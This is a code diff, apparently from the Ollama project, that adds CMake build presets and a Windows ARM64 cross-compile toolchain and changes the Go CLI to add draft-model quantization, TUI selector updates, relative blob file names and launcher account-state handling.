|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_base",
|
||||
"hidden": true,
|
||||
"inherits": [ "default" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_FLAGS": "-t 2",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_linux",
|
||||
"inherits": [ "mlx_cuda_v13_base" ],
|
||||
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
|
||||
"cacheVariables": {
|
||||
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_windows",
|
||||
"inherits": [ "mlx_cuda_v13_base" ],
|
||||
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
|
||||
"cacheVariables": {
|
||||
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_user_arch",
|
||||
"inherits": [ "mlx_cuda_v13_base" ],
|
||||
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13"
|
||||
},
|
||||
{
|
||||
"name": "mlx_metal_v3",
|
||||
"inherits": [ "default" ],
|
||||
"binaryDir": "${sourceDir}/../../build/metal-v3",
|
||||
"cacheVariables": {
|
||||
"CMAKE_OSX_DEPLOYMENT_TARGET": "14.0",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_metal_v3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_metal_v4",
|
||||
"inherits": [ "default" ],
|
||||
"binaryDir": "${sourceDir}/../../build/metal-v4",
|
||||
"cacheVariables": {
|
||||
"CMAKE_OSX_DEPLOYMENT_TARGET": "26.0",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_metal_v4"
|
||||
}
|
||||
}
|
||||
],
|
||||
"buildPresets": [
|
||||
{
|
||||
"name": "mlx_cuda_v13_linux",
|
||||
"configurePreset": "mlx_cuda_v13_linux",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_windows",
|
||||
"configurePreset": "mlx_cuda_v13_windows",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_user_arch",
|
||||
"configurePreset": "mlx_cuda_v13_user_arch",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
},
|
||||
{
|
||||
"name": "mlx_metal_v3",
|
||||
"configurePreset": "mlx_metal_v3",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
},
|
||||
{
|
||||
"name": "mlx_metal_v4",
|
||||
"configurePreset": "mlx_metal_v4",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
if(NOT DEFINED MLX_C_HEADERS_DIR OR NOT IS_DIRECTORY "${MLX_C_HEADERS_DIR}")
|
||||
message(FATAL_ERROR "MLX_C_HEADERS_DIR does not exist: ${MLX_C_HEADERS_DIR}")
|
||||
endif()
|
||||
if(NOT DEFINED MLX_C_HEADERS_DEST OR "${MLX_C_HEADERS_DEST}" STREQUAL "")
|
||||
message(FATAL_ERROR "MLX_C_HEADERS_DEST is required")
|
||||
endif()
|
||||
|
||||
file(GLOB _mlx_c_headers LIST_DIRECTORIES false "${MLX_C_HEADERS_DIR}/*.h")
|
||||
if(NOT _mlx_c_headers)
|
||||
message(FATAL_ERROR "No MLX-C headers found in ${MLX_C_HEADERS_DIR}")
|
||||
endif()
|
||||
|
||||
file(MAKE_DIRECTORY "${MLX_C_HEADERS_DEST}")
|
||||
file(COPY ${_mlx_c_headers} DESTINATION "${MLX_C_HEADERS_DEST}")
|
||||
@@ -0,0 +1,69 @@
|
||||
set(CMAKE_SYSTEM_NAME Windows)
|
||||
set(CMAKE_SYSTEM_PROCESSOR ARM64)
|
||||
|
||||
set(_ollama_llvm_mingw_hints)
|
||||
if(DEFINED ENV{ProgramFiles})
|
||||
file(GLOB _ollama_program_files_llvm_mingw_bins
|
||||
LIST_DIRECTORIES true
|
||||
"$ENV{ProgramFiles}/llvm-mingw-*-x86_64*/bin")
|
||||
list(SORT _ollama_program_files_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
|
||||
list(APPEND _ollama_llvm_mingw_hints ${_ollama_program_files_llvm_mingw_bins})
|
||||
endif()
|
||||
if(DEFINED ENV{LOCALAPPDATA})
|
||||
file(GLOB _ollama_winget_llvm_mingw_bins
|
||||
LIST_DIRECTORIES true
|
||||
"$ENV{LOCALAPPDATA}/Microsoft/WinGet/Packages/MartinStorsjo.LLVM-MinGW*/llvm-mingw-*-x86_64*/bin")
|
||||
list(SORT _ollama_winget_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
|
||||
list(APPEND _ollama_llvm_mingw_hints ${_ollama_winget_llvm_mingw_bins})
|
||||
endif()
|
||||
|
||||
if(NOT CMAKE_C_COMPILER)
|
||||
find_program(CMAKE_C_COMPILER
|
||||
NAMES aarch64-w64-mingw32-gcc
|
||||
HINTS ${_ollama_llvm_mingw_hints}
|
||||
REQUIRED)
|
||||
endif()
|
||||
|
||||
if(NOT CMAKE_CXX_COMPILER)
|
||||
find_program(CMAKE_CXX_COMPILER
|
||||
NAMES aarch64-w64-mingw32-g++
|
||||
HINTS ${_ollama_llvm_mingw_hints}
|
||||
REQUIRED)
|
||||
endif()
|
||||
|
||||
get_filename_component(_ollama_llvm_mingw_bin_dir "${CMAKE_CXX_COMPILER}" DIRECTORY)
|
||||
|
||||
if(NOT HOST_CXX_COMPILER)
|
||||
find_program(_ollama_path_host_cxx
|
||||
NAMES clang++ g++
|
||||
NO_CMAKE_FIND_ROOT_PATH)
|
||||
if(_ollama_path_host_cxx)
|
||||
set(HOST_CXX_COMPILER "${_ollama_path_host_cxx}")
|
||||
endif()
|
||||
endif()
|
||||
if(NOT HOST_CXX_COMPILER)
|
||||
find_program(_ollama_mingw_host_cxx
|
||||
NAMES x86_64-w64-mingw32-g++
|
||||
HINTS "${_ollama_llvm_mingw_bin_dir}"
|
||||
REQUIRED)
|
||||
if(CMAKE_HOST_WIN32)
|
||||
# llama.cpp builds a small host-only UI embedding tool during
|
||||
# cross-compiles, but currently models HOST_CXX_COMPILER as only an
|
||||
# executable path and has no companion host flags hook. When the host
|
||||
# compiler is llvm-mingw, the generated host tool otherwise depends on
|
||||
# llvm-mingw runtime DLLs being on PATH. Keep that workaround local and
|
||||
# explicit: wrap the compiler only to add -static for this host tool.
|
||||
set(_ollama_host_cxx_wrapper "${CMAKE_BINARY_DIR}/ollama-host-cxx.cmd")
|
||||
file(TO_NATIVE_PATH "${_ollama_mingw_host_cxx}" _ollama_mingw_host_cxx_native)
|
||||
file(WRITE "${_ollama_host_cxx_wrapper}"
|
||||
"@echo off\r\n"
|
||||
"\"${_ollama_mingw_host_cxx_native}\" -static %*\r\n")
|
||||
set(HOST_CXX_COMPILER "${_ollama_host_cxx_wrapper}")
|
||||
else()
|
||||
set(HOST_CXX_COMPILER "${_ollama_mingw_host_cxx}")
|
||||
endif()
|
||||
endif()
|
||||
set(HOST_CXX_COMPILER "${HOST_CXX_COMPILER}" CACHE FILEPATH "Host C++ compiler for build-time tools" FORCE)
|
||||
|
||||
string(PREPEND CMAKE_C_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
|
||||
string(PREPEND CMAKE_CXX_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
|
||||
+328
-57
@@ -18,6 +18,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/signal"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
@@ -41,6 +42,7 @@ import (
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/launch"
|
||||
"github.com/ollama/ollama/cmd/tui"
|
||||
"github.com/ollama/ollama/discover"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/format"
|
||||
"github.com/ollama/ollama/internal/modelref"
|
||||
@@ -54,34 +56,27 @@ import (
|
||||
"github.com/ollama/ollama/types/syncmap"
|
||||
"github.com/ollama/ollama/version"
|
||||
xcmd "github.com/ollama/ollama/x/cmd"
|
||||
xcreate "github.com/ollama/ollama/x/create"
|
||||
xcreateclient "github.com/ollama/ollama/x/create/client"
|
||||
"github.com/ollama/ollama/x/imagegen"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Override default selectors to use Bubbletea TUI instead of raw terminal I/O.
|
||||
launch.DefaultSingleSelector = func(title string, items []launch.ModelItem, current string) (string, error) {
|
||||
if !term.IsTerminal(int(os.Stdin.Fd())) || !term.IsTerminal(int(os.Stdout.Fd())) {
|
||||
return "", fmt.Errorf("model selection requires an interactive terminal; use --model to run in headless mode")
|
||||
}
|
||||
tuiItems := tui.ReorderItems(tui.ConvertItems(items))
|
||||
result, err := tui.SelectSingle(title, tuiItems, current)
|
||||
if errors.Is(err, tui.ErrCancelled) {
|
||||
return "", launch.ErrCancelled
|
||||
}
|
||||
return result, err
|
||||
launch.DefaultSingleSelector = func(title string, items []launch.SelectionItem, current string) (string, error) {
|
||||
return runTUISingleSelector(title, items, current, nil)
|
||||
}
|
||||
|
||||
launch.DefaultMultiSelector = func(title string, items []launch.ModelItem, preChecked []string) ([]string, error) {
|
||||
if !term.IsTerminal(int(os.Stdin.Fd())) || !term.IsTerminal(int(os.Stdout.Fd())) {
|
||||
return nil, fmt.Errorf("model selection requires an interactive terminal; use --model to run in headless mode")
|
||||
}
|
||||
tuiItems := tui.ReorderItems(tui.ConvertItems(items))
|
||||
result, err := tui.SelectMultiple(title, tuiItems, preChecked)
|
||||
if errors.Is(err, tui.ErrCancelled) {
|
||||
return nil, launch.ErrCancelled
|
||||
}
|
||||
return result, err
|
||||
launch.DefaultSingleSelectorWithUpdates = func(title string, items []launch.SelectionItem, current string, updates <-chan []launch.SelectionItem) (string, error) {
|
||||
return runTUISingleSelector(title, items, current, updates)
|
||||
}
|
||||
|
||||
launch.DefaultMultiSelector = func(title string, items []launch.SelectionItem, preChecked []string) ([]string, error) {
|
||||
return runTUIMultiSelector(title, items, preChecked, nil)
|
||||
}
|
||||
|
||||
launch.DefaultMultiSelectorWithUpdates = func(title string, items []launch.SelectionItem, preChecked []string, updates <-chan []launch.SelectionItem) ([]string, error) {
|
||||
return runTUIMultiSelector(title, items, preChecked, updates)
|
||||
}
|
||||
|
||||
launch.DefaultSignIn = func(modelName, signInURL string) (string, error) {
|
||||
@@ -92,9 +87,55 @@ func init() {
|
||||
return userName, err
|
||||
}
|
||||
|
||||
launch.DefaultUpgrade = func(modelName, requiredPlan string) (string, error) {
|
||||
plan, err := tui.RunUpgrade(modelName, requiredPlan)
|
||||
if errors.Is(err, tui.ErrCancelled) {
|
||||
return "", launch.ErrCancelled
|
||||
}
|
||||
return plan, err
|
||||
}
|
||||
|
||||
launch.DefaultConfirmPrompt = tui.RunConfirmWithOptions
|
||||
}
|
||||
|
||||
func runTUISingleSelector(title string, items []launch.SelectionItem, current string, updates <-chan []launch.SelectionItem) (string, error) {
|
||||
if !term.IsTerminal(int(os.Stdin.Fd())) || !term.IsTerminal(int(os.Stdout.Fd())) {
|
||||
return "", fmt.Errorf("model selection requires an interactive terminal; use --model to run in headless mode")
|
||||
}
|
||||
tuiItems := tui.ReorderItems(tui.ConvertItems(items))
|
||||
result, err := tui.SelectSingleWithUpdates(title, tuiItems, current, convertSelectionItemUpdates(updates))
|
||||
if errors.Is(err, tui.ErrCancelled) {
|
||||
return "", launch.ErrCancelled
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func runTUIMultiSelector(title string, items []launch.SelectionItem, preChecked []string, updates <-chan []launch.SelectionItem) ([]string, error) {
|
||||
if !term.IsTerminal(int(os.Stdin.Fd())) || !term.IsTerminal(int(os.Stdout.Fd())) {
|
||||
return nil, fmt.Errorf("model selection requires an interactive terminal; use --model to run in headless mode")
|
||||
}
|
||||
tuiItems := tui.ReorderItems(tui.ConvertItems(items))
|
||||
result, err := tui.SelectMultipleWithUpdates(title, tuiItems, preChecked, convertSelectionItemUpdates(updates))
|
||||
if errors.Is(err, tui.ErrCancelled) {
|
||||
return nil, launch.ErrCancelled
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func convertSelectionItemUpdates(updates <-chan []launch.SelectionItem) <-chan []tui.SelectItem {
|
||||
if updates == nil {
|
||||
return nil
|
||||
}
|
||||
out := make(chan []tui.SelectItem, 1)
|
||||
go func() {
|
||||
defer close(out)
|
||||
for items := range updates {
|
||||
out <- tui.ReorderItems(tui.ConvertItems(items))
|
||||
}
|
||||
}()
|
||||
return out
|
||||
}
|
||||
|
||||
const ConnectInstructions = "If your browser did not open, navigate to:\n %s\n\n"
|
||||
|
||||
// ensureThinkingSupport emits a warning if the model does not advertise thinking support
|
||||
@@ -145,6 +186,39 @@ func isLocalhost() bool {
|
||||
return ip != nil && (ip.IsLoopback() || ip.IsUnspecified())
|
||||
}
|
||||
|
||||
func resolveExperimentalLocalModelDir(ref, filename string) string {
|
||||
if ref == "" || filepath.IsAbs(ref) || filename == "" {
|
||||
return ref
|
||||
}
|
||||
|
||||
candidate := filepath.Join(filepath.Dir(filename), ref)
|
||||
if xcreate.IsSafetensorsModelDir(candidate) || xcreate.IsTensorModelDir(candidate) {
|
||||
return candidate
|
||||
}
|
||||
|
||||
return ref
|
||||
}
|
||||
|
||||
func resolveExperimentalDraftDir(ref, filename string) (string, error) {
|
||||
if ref == "" {
|
||||
return "", nil
|
||||
}
|
||||
if filepath.IsAbs(ref) {
|
||||
if xcreate.IsSafetensorsModelDir(ref) {
|
||||
return ref, nil
|
||||
}
|
||||
return "", fmt.Errorf("draft %s is not a supported safetensors model directory", ref)
|
||||
}
|
||||
if filename != "" {
|
||||
candidate := filepath.Join(filepath.Dir(filename), ref)
|
||||
if xcreate.IsSafetensorsModelDir(candidate) {
|
||||
return candidate, nil
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("DRAFT model references are not supported with --experimental yet: %s", ref)
|
||||
}
|
||||
|
||||
func CreateHandler(cmd *cobra.Command, args []string) error {
|
||||
p := progress.NewProgress(os.Stderr)
|
||||
defer p.Stop()
|
||||
@@ -159,6 +233,7 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
|
||||
// Check for --experimental flag for safetensors model creation
|
||||
// This gates both safetensors LLM and imagegen model creation
|
||||
experimental, _ := cmd.Flags().GetBool("experimental")
|
||||
draftQuantize, _ := cmd.Flags().GetString("draft-quantize")
|
||||
if experimental {
|
||||
if !isLocalhost() {
|
||||
return errors.New("remote safetensor model creation not yet supported")
|
||||
@@ -192,17 +267,22 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
// Resolve relative paths based on Modelfile location
|
||||
if !filepath.IsAbs(modelDir) && filename != "" {
|
||||
modelDir = filepath.Join(filepath.Dir(filename), modelDir)
|
||||
modelDir = resolveExperimentalLocalModelDir(modelDir, filename)
|
||||
if mfConfig.Draft != "" {
|
||||
draftDir, err := resolveExperimentalDraftDir(mfConfig.Draft, filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
mfConfig.Draft = draftDir
|
||||
}
|
||||
|
||||
quantize, _ := cmd.Flags().GetString("quantize")
|
||||
return xcreateclient.CreateModel(xcreateclient.CreateOptions{
|
||||
ModelName: modelName,
|
||||
ModelDir: modelDir,
|
||||
Quantize: quantize,
|
||||
Modelfile: mfConfig,
|
||||
ModelName: modelName,
|
||||
ModelDir: modelDir,
|
||||
Quantize: quantize,
|
||||
DraftQuantize: draftQuantize,
|
||||
Modelfile: mfConfig,
|
||||
}, p)
|
||||
}
|
||||
|
||||
@@ -248,6 +328,12 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
|
||||
if quantize != "" {
|
||||
req.Quantize = quantize
|
||||
}
|
||||
if draftQuantize != "" {
|
||||
if len(req.DraftFiles) == 0 {
|
||||
return errors.New("--draft-quantize requires a DRAFT model")
|
||||
}
|
||||
req.DraftQuantize = draftQuantize
|
||||
}
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
@@ -258,29 +344,40 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
|
||||
g.SetLimit(max(runtime.GOMAXPROCS(0)-1, 1))
|
||||
|
||||
files := syncmap.NewSyncMap[string, string]()
|
||||
fileNames := createRequestFileNames(req.Files)
|
||||
for f, digest := range req.Files {
|
||||
g.Go(func() error {
|
||||
if _, err := createBlob(cmd, client, f, digest, p); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// TODO: this is incorrect since the file might be in a subdirectory
|
||||
// instead this should take the path relative to the model directory
|
||||
// but the current implementation does not allow this
|
||||
files.Store(filepath.Base(f), digest)
|
||||
files.Store(fileNames[f], digest)
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
adapters := syncmap.NewSyncMap[string, string]()
|
||||
adapterNames := createRequestFileNames(req.Adapters)
|
||||
for f, digest := range req.Adapters {
|
||||
g.Go(func() error {
|
||||
if _, err := createBlob(cmd, client, f, digest, p); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// TODO: same here
|
||||
adapters.Store(filepath.Base(f), digest)
|
||||
adapters.Store(adapterNames[f], digest)
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
draftFiles := syncmap.NewSyncMap[string, string]()
|
||||
draftFileNames := createRequestFileNames(req.DraftFiles)
|
||||
for f, digest := range req.DraftFiles {
|
||||
g.Go(func() error {
|
||||
if _, err := createBlob(cmd, client, f, digest, p); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
draftFiles.Store(draftFileNames[f], digest)
|
||||
return nil
|
||||
})
|
||||
}
|
||||
@@ -291,6 +388,7 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
|
||||
|
||||
req.Files = files.Items()
|
||||
req.Adapters = adapters.Items()
|
||||
req.DraftFiles = draftFiles.Items()
|
||||
|
||||
bars := make(map[string]*progress.Bar)
|
||||
fn := func(resp api.ProgressResponse) error {
|
||||
@@ -328,6 +426,65 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func createRequestFileNames(files map[string]string) map[string]string {
|
||||
names := make(map[string]string, len(files))
|
||||
root, ok := commonFileRoot(files)
|
||||
for f := range files {
|
||||
name := filepath.Base(f)
|
||||
if ok {
|
||||
abs, err := filepath.Abs(f)
|
||||
if err == nil {
|
||||
if rel, err := filepath.Rel(root, abs); err == nil && rel != "." && rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
|
||||
name = rel
|
||||
}
|
||||
}
|
||||
}
|
||||
names[f] = path.Clean(filepath.ToSlash(name))
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
func commonFileRoot(files map[string]string) (string, bool) {
|
||||
if len(files) < 2 {
|
||||
return "", false
|
||||
}
|
||||
|
||||
var root string
|
||||
var volume string
|
||||
for f := range files {
|
||||
abs, err := filepath.Abs(f)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
if nextVolume := filepath.VolumeName(abs); volume == "" {
|
||||
volume = nextVolume
|
||||
} else if !strings.EqualFold(volume, nextVolume) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
dir := filepath.Dir(abs)
|
||||
if root == "" {
|
||||
root = dir
|
||||
continue
|
||||
}
|
||||
|
||||
for {
|
||||
rel, err := filepath.Rel(root, dir)
|
||||
if err == nil && (rel == "." || (rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)))) {
|
||||
break
|
||||
}
|
||||
|
||||
parent := filepath.Dir(root)
|
||||
if parent == root {
|
||||
return "", false
|
||||
}
|
||||
root = parent
|
||||
}
|
||||
}
|
||||
|
||||
return root, root != ""
|
||||
}
|
||||
|
||||
func createBlob(cmd *cobra.Command, client *api.Client, path string, digest string, p *progress.Progress) (string, error) {
|
||||
realPath, err := filepath.EvalSymlinks(path)
|
||||
if err != nil {
|
||||
@@ -582,10 +739,10 @@ func RunHandler(cmd *cobra.Command, args []string) error {
|
||||
opts.Think = &api.ThinkValue{Value: true}
|
||||
case "false":
|
||||
opts.Think = &api.ThinkValue{Value: false}
|
||||
case "high", "medium", "low":
|
||||
case "high", "medium", "low", "max":
|
||||
opts.Think = &api.ThinkValue{Value: thinkStr}
|
||||
default:
|
||||
return fmt.Errorf("invalid value for --think: %q (must be true, false, high, medium, or low)", thinkStr)
|
||||
return fmt.Errorf("invalid value for --think: %q (must be true, false, high, medium, low, or max)", thinkStr)
|
||||
}
|
||||
} else {
|
||||
opts.Think = nil
|
||||
@@ -1196,11 +1353,28 @@ func showInfo(resp *api.ShowResponse, verbose bool, w io.Writer) error {
|
||||
|
||||
if resp.ProjectorInfo != nil {
|
||||
tableRender("Projector", func() (rows [][]string) {
|
||||
arch := resp.ProjectorInfo["general.architecture"].(string)
|
||||
rows = append(rows, []string{"", "architecture", arch})
|
||||
rows = append(rows, []string{"", "parameters", format.HumanNumber(uint64(resp.ProjectorInfo["general.parameter_count"].(float64)))})
|
||||
rows = append(rows, []string{"", "embedding length", strconv.FormatFloat(resp.ProjectorInfo[fmt.Sprintf("%s.vision.embedding_length", arch)].(float64), 'f', -1, 64)})
|
||||
rows = append(rows, []string{"", "dimensions", strconv.FormatFloat(resp.ProjectorInfo[fmt.Sprintf("%s.vision.projection_dim", arch)].(float64), 'f', -1, 64)})
|
||||
arch, _ := resp.ProjectorInfo["general.architecture"].(string)
|
||||
if arch != "" {
|
||||
rows = append(rows, []string{"", "architecture", arch})
|
||||
}
|
||||
if v, ok := resp.ProjectorInfo["general.parameter_count"].(float64); ok {
|
||||
rows = append(rows, []string{"", "parameters", format.HumanNumber(uint64(v))})
|
||||
}
|
||||
|
||||
projectorValue := func(suffix string) (float64, bool) {
|
||||
for _, modality := range []string{"vision", "audio"} {
|
||||
if v, ok := resp.ProjectorInfo[fmt.Sprintf("%s.%s.%s", arch, modality, suffix)].(float64); ok {
|
||||
return v, true
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
if v, ok := projectorValue("embedding_length"); ok {
|
||||
rows = append(rows, []string{"", "embedding length", strconv.FormatFloat(v, 'f', -1, 64)})
|
||||
}
|
||||
if v, ok := projectorValue("projection_dim"); ok {
|
||||
rows = append(rows, []string{"", "dimensions", strconv.FormatFloat(v, 'f', -1, 64)})
|
||||
}
|
||||
return
|
||||
})
|
||||
}
|
||||
@@ -1928,7 +2102,7 @@ func appendEnvDocs(cmd *cobra.Command, envs []envconfig.EnvVar) {
|
||||
Environment Variables:
|
||||
`
|
||||
for _, e := range envs {
|
||||
envUsage += fmt.Sprintf(" %-24s %s\n", e.Name, e.Description)
|
||||
envUsage += fmt.Sprintf(" %-27s %s\n", e.Name, e.Description)
|
||||
}
|
||||
|
||||
cmd.SetUsageTemplate(cmd.UsageTemplate() + envUsage)
|
||||
@@ -1975,8 +2149,61 @@ func launchInteractiveModel(cmd *cobra.Command, modelName string) error {
|
||||
Options: map[string]any{},
|
||||
ShowConnect: true,
|
||||
}
|
||||
// loadOrUnloadModel is cloud-safe here: remote/cloud models skip local preload
|
||||
// and only validate auth/connectivity before interactive chat starts.
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
requestedCloud := modelref.HasExplicitCloudSource(modelName)
|
||||
|
||||
info, err := func() (*api.ShowResponse, error) {
|
||||
showReq := &api.ShowRequest{Name: modelName}
|
||||
info, err := client.Show(cmd.Context(), showReq)
|
||||
var se api.StatusError
|
||||
if errors.As(err, &se) && se.StatusCode == http.StatusNotFound {
|
||||
if requestedCloud {
|
||||
return nil, err
|
||||
}
|
||||
if err := PullHandler(cmd, []string{modelName}); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return client.Show(cmd.Context(), &api.ShowRequest{Name: modelName})
|
||||
}
|
||||
return info, err
|
||||
}()
|
||||
if err != nil {
|
||||
if handleCloudAuthorizationError(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
ensureCloudStub(cmd.Context(), client, modelName)
|
||||
|
||||
opts.Think, err = inferThinkingOption(&info.Capabilities, &opts, false)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
audioCapable := slices.Contains(info.Capabilities, model.CapabilityAudio)
|
||||
opts.MultiModal = slices.Contains(info.Capabilities, model.CapabilityVision) || audioCapable
|
||||
|
||||
// TODO: remove the projector info and vision info checks below,
|
||||
// these are left in for backwards compatibility with older servers
|
||||
// that don't have the capabilities field in the model info
|
||||
if len(info.ProjectorInfo) != 0 {
|
||||
opts.MultiModal = true
|
||||
}
|
||||
for k := range info.ModelInfo {
|
||||
if strings.Contains(k, ".vision.") {
|
||||
opts.MultiModal = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
applyShowResponseToRunOptions(&opts, info)
|
||||
|
||||
if err := loadOrUnloadModel(cmd, &opts); err != nil {
|
||||
return fmt.Errorf("error loading model: %w", err)
|
||||
}
|
||||
@@ -1994,12 +2221,15 @@ func runInteractiveTUI(cmd *cobra.Command) {
|
||||
return
|
||||
}
|
||||
|
||||
accountPrefetch := launch.StartAccountStatePrefetch(cmd.Context())
|
||||
deps := launcherDeps{
|
||||
buildState: launch.BuildLauncherState,
|
||||
runMenu: tui.RunMenu,
|
||||
resolveRunModel: launch.ResolveRunModel,
|
||||
launchIntegration: launch.LaunchIntegration,
|
||||
runModel: launchInteractiveModel,
|
||||
buildState: launch.BuildLauncherState,
|
||||
runMenu: tui.RunMenu,
|
||||
resolveRunModel: launch.ResolveRunModel,
|
||||
launchIntegration: launch.LaunchIntegration,
|
||||
runModel: launchInteractiveModel,
|
||||
accountState: accountPrefetch.StateIfReady,
|
||||
accountStateUpdates: accountPrefetch.StateUpdates,
|
||||
}
|
||||
|
||||
for {
|
||||
@@ -2014,11 +2244,13 @@ func runInteractiveTUI(cmd *cobra.Command) {
|
||||
}
|
||||
|
||||
type launcherDeps struct {
|
||||
buildState func(context.Context) (*launch.LauncherState, error)
|
||||
runMenu func(*launch.LauncherState) (tui.TUIAction, error)
|
||||
resolveRunModel func(context.Context, launch.RunModelRequest) (string, error)
|
||||
launchIntegration func(context.Context, launch.IntegrationLaunchRequest) error
|
||||
runModel func(*cobra.Command, string) error
|
||||
buildState func(context.Context) (*launch.LauncherState, error)
|
||||
runMenu func(*launch.LauncherState) (tui.TUIAction, error)
|
||||
resolveRunModel func(context.Context, launch.RunModelRequest) (string, error)
|
||||
launchIntegration func(context.Context, launch.IntegrationLaunchRequest) error
|
||||
runModel func(*cobra.Command, string) error
|
||||
accountState func() *launch.AccountState
|
||||
accountStateUpdates func(context.Context) <-chan *launch.AccountState
|
||||
}
|
||||
|
||||
func runInteractiveTUIStep(cmd *cobra.Command, deps launcherDeps) (bool, error) {
|
||||
@@ -2026,6 +2258,9 @@ func runInteractiveTUIStep(cmd *cobra.Command, deps launcherDeps) (bool, error)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("build launcher state: %w", err)
|
||||
}
|
||||
if state != nil && deps.accountState != nil {
|
||||
state.AccountState = deps.accountState()
|
||||
}
|
||||
|
||||
action, err := deps.runMenu(state)
|
||||
if err != nil {
|
||||
@@ -2046,7 +2281,13 @@ func runLauncherAction(cmd *cobra.Command, action tui.TUIAction, deps launcherDe
|
||||
return false, nil
|
||||
case tui.TUIActionRunModel:
|
||||
saveLauncherSelection(action)
|
||||
modelName, err := deps.resolveRunModel(cmd.Context(), action.RunModelRequest())
|
||||
req := action.RunModelRequest()
|
||||
if deps.accountState != nil {
|
||||
req.AccountState = deps.accountState()
|
||||
req.AccountStateProvider = deps.accountState
|
||||
}
|
||||
req.AccountStateUpdates = deps.accountStateUpdates
|
||||
modelName, err := deps.resolveRunModel(cmd.Context(), req)
|
||||
if errors.Is(err, launch.ErrCancelled) {
|
||||
return true, nil
|
||||
}
|
||||
@@ -2059,15 +2300,20 @@ func runLauncherAction(cmd *cobra.Command, action tui.TUIAction, deps launcherDe
|
||||
return true, nil
|
||||
case tui.TUIActionLaunchIntegration:
|
||||
saveLauncherSelection(action)
|
||||
err := deps.launchIntegration(cmd.Context(), action.IntegrationLaunchRequest())
|
||||
req := action.IntegrationLaunchRequest()
|
||||
if deps.accountState != nil {
|
||||
req.AccountState = deps.accountState()
|
||||
req.AccountStateProvider = deps.accountState
|
||||
}
|
||||
req.AccountStateUpdates = deps.accountStateUpdates
|
||||
err := deps.launchIntegration(cmd.Context(), req)
|
||||
if errors.Is(err, launch.ErrCancelled) {
|
||||
return true, nil
|
||||
}
|
||||
if err != nil {
|
||||
return true, fmt.Errorf("launching %s: %w", action.Integration, err)
|
||||
}
|
||||
// VS Code is a GUI app — exit the TUI loop after launching
|
||||
if action.Integration == "vscode" {
|
||||
if launcherActionExitsLoop(action.Integration) {
|
||||
return false, nil
|
||||
}
|
||||
return true, nil
|
||||
@@ -2076,6 +2322,15 @@ func runLauncherAction(cmd *cobra.Command, action tui.TUIAction, deps launcherDe
|
||||
}
|
||||
}
|
||||
|
||||
func launcherActionExitsLoop(integration string) bool {
|
||||
switch integration {
|
||||
case "codex-app", "vscode":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
